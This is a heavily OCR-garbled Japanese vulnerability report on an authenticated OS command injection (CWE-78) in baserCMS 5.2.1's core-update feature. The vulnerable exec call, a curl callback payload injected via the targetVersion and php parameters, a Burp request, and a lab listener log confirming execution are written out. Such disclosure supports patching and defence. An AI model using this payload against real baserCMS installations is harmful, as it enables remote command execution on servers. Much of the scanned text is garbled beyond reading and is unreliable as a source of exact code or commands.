OSOAX>RA>>x 23> (baserCMSDF7PYIF—b
PaE

Mfess I E

S571::

B#/\—=3> (basercms-5.2.2) M baserCMSD 77w JF— MEBEICOSOAN > RA>21 0
> 3> (CWE-78) DessENFREI D EZERUELUZ. TNICKD. baserCMSDER
BEEUTCERIEEOI—TUN, B—/)\ETbhaserCMSEEITLTCWBI1—H &L TH—/NATOS
OIN> RERITTEET,

CVSS A7 ({xf#)

N—AAJ)7 :9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Ress1EdDsFi

baser-core/src/Service/PluginsService.php RIMD getCoreUpdate BdZRD8491TH (CH LT,
$command ZZIDAEH exec BEUCKDOSDHIAN Y REUTHEITESNET ., F£/o. 8441TT
(. getCoreUpdate BIEIDEIEE U TESND $php ZELE $targetVersion BEZEFERAL
T $command BEDFENEEREINET T, 0B, COREEATIIEIZDEDIREE (FITHONEE


https://jvndb.jvn.jp/ja/cwe/CWE-78.html

$targetVersion
$php

getCoreUpdate $targetVersion, E $force =

targetVersion)

: TMP .
T™P .

. ROOT . D5 . "bin' . D5 . "C r . $targetVersion . '

$command .= ' --

RIC. getCoreUpdate BIEIDITUM LIt T3 D baser-
core/src/Controller/Admin/PluginsController.php 0 get_core_update £ (CH T,



UOTA KIS A=SDS5 targetVersion B KU php DMHREER LU CEBESNTULETD,

2

get_core_update{PluginsAdminServiceInterface $service): mixed

EdDZEMS. targetVersion UL (& php (CHITZE UZ/\SA—FZEXDZEICKD. 1F
BODOSINY > RHNAJEET T,

FessEDBIRFIR
BIFEEE FOED TS,

Kali Linux (6.17.10+kali-amd64)
Burp Suite (O—AJL7OF2WY—)L)

baser CMS /\—=3>5.2.1 (O—JUEIEZEZE L CHIHAT SOFNEED I>F7FHERR U
I, 1A —)LETET)

EE D SAMEEDOBRZITDEHICE [ R ERRSBDIVENG DTS, —D
HID/\—>3>THD/\—2 325212 R U THRSEMEDIREIEZ{TVWELZ, BB Y—X
O—RIEDVWTET 71 I)LdDsha256/\v > 1 &R U, &/\—23> ER—THhD T Ltk
FBR C 9o

Mess It DBIRFIEELLTDED TY .
BIEELLTCOTA>URE,. B RYZHTLET.


https://baserproject.github.io/5/introduce/build_local_env

https://localhost/baser/admin/baser-core/plugins/update

< c (4] heesi//localhost,

& | FuTF—bR=aTIl  AVAR-E-R
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REQN-YavikRi
B sMELEbhY
& wE ~ « BaserCore MF|BrIEEA/ (-3 1 522
« BaserCore DIEQIOY S LAD/I-¥ 3> 521
= LRFLABENRE + BaserCore DIREDT -9 ~—AD){-¥ 3 :521
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S F-EE BHRES O O-F
¥ JsurvER

FudT-bEETTRHIC. RHEEY I YO0-FLTLESL,

Aow0=Ei&/(=3» 522

TOY 5 SRE
A=) BHRTE
FuTO—F—EkE PHP CLI ®E{T){Z | jusi/localibin/php

B a-F1UFs

CER® < —HIERD Sovn—

baserHaiéer

baseri—¥—-0OBO
PEFI 2L B8 "

ZUXA2—DHor

PHP CLI ®3E17/CX #(C curl http://172.17.0.1:8888/hacked; EAA L. [FI>O—
Rl Z#20UvwIULFERT,

RFiREY I 0O-F

FuIdT—FERTTRHIC. BFREYIYO-FLT{EEL,

FovO- Exg/I(—-F 3> 522

PHP CLI @=47JVA | echo hacked >ftmp/hacked.txt;

{ —BlCE3 Fgoro—-g

BEFROSAY0—RIZkBMLELE, AVERRBLTCESD, CVLWDIST—XvE—IHRKRRS



nx9g,
basercMSO7 | 7v 75—k

0O SHROYIYO— FICKBUE LR, OVEBBLTRESL),

REON-Y 3 ViIkii

+ BaserCore OFIFBFIEER/(—/ 3> @ 5.2.2
« BaserCore MIRED 7OV S LDI)(—Y 3 521
+ BaserCore DIBEDMT—#~X—AM/{—-¥ 3> :5.21

mHREYOvO-k

FuIT—rEETTREIC. RFEREYIO0-FLTESL),

FovO-Fsg/\-¥3y 522

PHP CLI @E$7/VA  lusrllocal/bin/php

< —HEIR3 Foon-F

UOT X MDOREZMHRT DE. php=curl+http%3A%2F%2F172.17.0.1%3A8888%2Fhacked%s /'
EENTNWDZENERTEET,

nz23 https:/flocalhost POST Ibaser/admin/baser-core/plugins/get_core_update v 302 456 HTML
1124 https/ilocalhost GET Jbaserfadmin/baser_core/plugins/update 200 30813 HTML baserCMSQ7 | 7w 75—k
1156 https://localhost GET Ibaser/api/admin/baser-core/plugins/get_available_core 200 446 JS0N json
Request Response
Pretty Raw Hex a @ »n = Pretty Raw Hex
POST /baser/admin/baser-core/plugins/get_core_update  HTTR/1.1 HTTP/1.1 302 Found
2 Host: localhost 2 fate: Sun, 22 Feb 2026 10:55:27 GMT
I Cookie : LoginStoreKey =b2586860bbf5281b214261 FF6a24f2c37075FF1841b0175805d184cfecbalced faraldc) 048952 ebd 7 FEGED1 21 72872 0ea 3 Server : Apachef2.4.53 (Bebian)
csrfToken =L8cHI kily b2Gd Sm3 sA PChrNYANTYSNTY RMGTub] oY ZMIMZ08 Y 20uONUAMMA MnE BMGY jZmT 1 HZVEZD ; BASERCHS = 4 Expires: Mon, 26 Jul 1007 05:00: 00 CMT

lecBe?ddal1666fes25c] 9dfe55eb32e

Content-Length : 438

Cache-Control : max-age=0

Sec-Ch-Us : “Chromium’;v="143", “Not A(Brand";v="24"
Sec-Ch-Ua-Mobile kL

Sec-Ch-Us-Flatform : "Linux"

Accept-Language © ja 11 Connection : Keep-Alive

Origin : https://localhost Content-Type : text/html; charset=UTF-8
Content-Type - application/x-www- form-urlencoded

Cache-Control : no-store, no-cache, must-revalidate, post-check=d, pre-check=0
Pragma : no-cache

Last-Hodified : Sun, 22 Feb 2026 16:55: 27 GHT

Location : https: //localhost/baser/adnin/baser- core/plugins/update
Content-Length : 0

Keep-Alive : timeout=5, max=188

Upgrade-Insecure-Requests : | 14
User-Agent : Mozilla/5. 8 (X11; Linux xB6_64) AppleWebit/537.36 (KHTML, like Gecko) Chrome/143.6.9.0 Safari/537.36

Accept:

text/html,application/xhtmlexml, application/xml; q=0. 0, inage/avif, image webp, inage/apng, «/+;q=0_ 8, application/signed- exchange;

w=b3;q=0.7

5 Sec-Fetch-Site : same-origin
16 Sec-Fetch-Mode : navigate
7 Sec-Fetch-User : 7

& Sec-Fetch-Best: document

19 Referer: https://localhost/baser/adnin/baser-core/plugins fupdate
Accept-Encoding : gzip, deflate, br

21 Priority - u=0, 1

Connection : keep-alive

_csrfToken =
4ZvoGE2BtvE2FEeRa zeqFriva6KRQAIRACS4 YhqRhPOC3TePBSTkRIX tamgLEER2FEDVE2F fveBhIrlg] PPOXOTNT12TThy ZWsYUKHTGxKT1 Prg3ux 15eKG22TCE2
BEGDA7tA10d2TOROILPWERFPuuNikJA] xXJ1E30E3D  &update=l&currentVersion =5. 2. |&targetVersion =5. 2. 2BtargetVersion =5.2.

lcur1+http‘13-\‘12F‘12F'\ 7a.17.8 T%B.-\SBBBHFha:kedBBl&_TukEnlSBFieldsZSD =

234300cb29dd 31 7b68a2eci8c528b] 14e8e2bfat2i3AcurrentVersion257Cupdate & _TokenZ5BunlockedZ50 =MAX_FILE_SIZEZ257Cx3257Cy

O—A)VIRE(CII TleWeb— )\ 70t X O £IC. baser CMS WE{THOI>FTFH 5D
EHEMNSEHREIN TV EMNS, H—)CETcurl OV REEITESNECENERTEET,



exec bc-php bash
rootg4sd3atbcc@®9l: /var/www/html# hostname -1
172.19.0.7
rootgbbd3atbcc@9l: /var/www/html# [

= t -m http.server 8888

Serving HTTP on ©.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
172.19.0.7 - - [22/Feb/2026 19:55:28] code 404, message File not found
172.19.0.7 - - [22/Feb/2026 19:55:28] "GET /hacked HTTP/1.1" 404 -

BB, Ao>O0— RFHR/IN—=3> (targetVersion) THEMKICOSOAY> RA>>T o3 3>
HEJEET I,

RIffkEyorO-F

FuIF—FEETTBHIC, RFREYIO-FLTIEEL,

Ay 00— Eig/ =< 3| curl http://172.17.0.1:8888/h:

PHP CLI @E{7/VA  lusrllocal/bin/php

< —EICR3 5 wm= [

1158 hetps://localhost POST core_update 2 302 456 HTML < 127.0.01
ns9 https:iflocalhost GET Ibaser/admin/baser-core/plugins/update 200 30814 HTML baserCMS27 | Pu 77—+ v 127.0.01
19 httpsil/localhost GET Ibaser/api/admin/baser-core/plugins/get_available_core. 200 446 JSON json v 127.0.0.1
|

Reguest Response

Pretty  Raw  Hex ® W= | Pretty  Raw  Hex & |

POST /baser/admin/baser-core/plugins/get_core_update  HTTR/1.1 HTTF/1.1 302 Found

Host : localhost fate: Sun, 22 Feb202611:23:33 @7
3 Cookie : LoginStoreKey =b2586860bDF5281b214261 7762247 2c370751T1841 b1 7589501 B4cfecbadced facaldel Ab4BO52) ebd?FE6601 21 2872 0ea Server : Apache/2.4.53 (Debian)

esrfToken =LBc] kllyb2GdSm3sApCbrs hHETub ey 08Y20u0 £V {2l H2YE3D ; BASERCMS = Expires : Mon, 26 Jul 1807 85:00: 08 CHT

Techatddal | 666F=e25c] 0dfe5Sabize Cache-Control : no-store, no-cache, must-revalidats, post-check=0, pre-check=0
4 Content-Length : 460 Pragma : no-cache

Cache-Control : max-age=0 Last-Modified : Sun, 22 Feb 2026 11:23:33 QT

Sec-Ch-Ua : "Chramiun®; v="143", "Not A(Brand";v="24" & Location : https://localhost/baser/admin/baser-core/plugins/update
7 Sec-Ch-la-Mobile : 78 Content-Length : 6
¢ Sec-Ch-la-Flatform : "Linux" Keep-Alive : timeout=5, mx=108

Accept-Language © Ja ! Connection : Keep-Alive

Origin : https://localhost Content-Typs : text/html; charsst=UTF-g

Content-Type : application/x-whw-Fom-urlencedsd
Upgrade-Insecurs-Requests : 1
i User-Agent : Mozilla/5.8 (X11; Linux x86_64) AppleNebkit/537. 36 (KHTML, like Gecke) Chreme/143.9.9.0 Safari/537.36
Accept
text/html, application/xhtwlorl, application/xml;q=0. 9, insge/avif, inage/webp, irage/apng, »/+;q=0. 8, application/signed-exchange;
v=b3;q=0.7
Sec-Fatch-Site @ same-origin
Sec-Fetch-Mode : navigate
Sec-Feteh-User : 71
¢ Sec-Fetch-fest : document
Referer : https://localhost/baser/admin/baser-core/plugins/update
Accept-Encoding © gzip, deflate, br
Priority : u=0, i
Connection : keep-alive

24 _csrfToken =
CoiCioRLYgoubdpGFenQovedL el JymtL2FXNEL, 7 i 4qGn3ECUVLA cq T2GIE FunF 65 34Cr sui sEX2FCLUSKYQgNPE3I2F Xh5 s tHuB2F nAa

Kipbhkuis 5@ 1BU7 g 339530 Bupdate=]dcurrentVersion =52 14&targetVersion =5 2
E3Bcurisnt tpi3As2FIoF1 72 17 0 1234088852 Sphp=82FusrizF 2Fbink2Fphp 8 _Token$SBfieldsesd =
T 7 TUETTT TUFrentVersiont257Cupdate & TokendSBunlockedS5D -MAX_FILE_SIZEX257CxE257Cy

[:—[ )-[~/vulns/basercms-5.2.1/docker]
t -m http.server B888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

172.19.0.7 [22/Feb/2026 19:55:28] code 404, message File not found

172.19.0.7 [22/Feb/2026 19:55:28] "GET /hacked HTTP/1.1" 404 -
172.19.0.7 [22/Feb/2026 20:23:35] code 404, message File not found
172.19.0.7 [22/Feb/2026 20:23:35] "GET /hacked HTTP/1.1" 404 -

RESSIENDXTINTT &5




OSSOV > REFEITURWHEICHEREEZEE L TLIEEL),
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UIRMBDAHEEITIDEDICLTLIEEL,

GRRIDTITPA RDEDAE -120SOANR - A>T 023>
https://www.ipa.go.jp/security/vuln/websecurity/os-command.html
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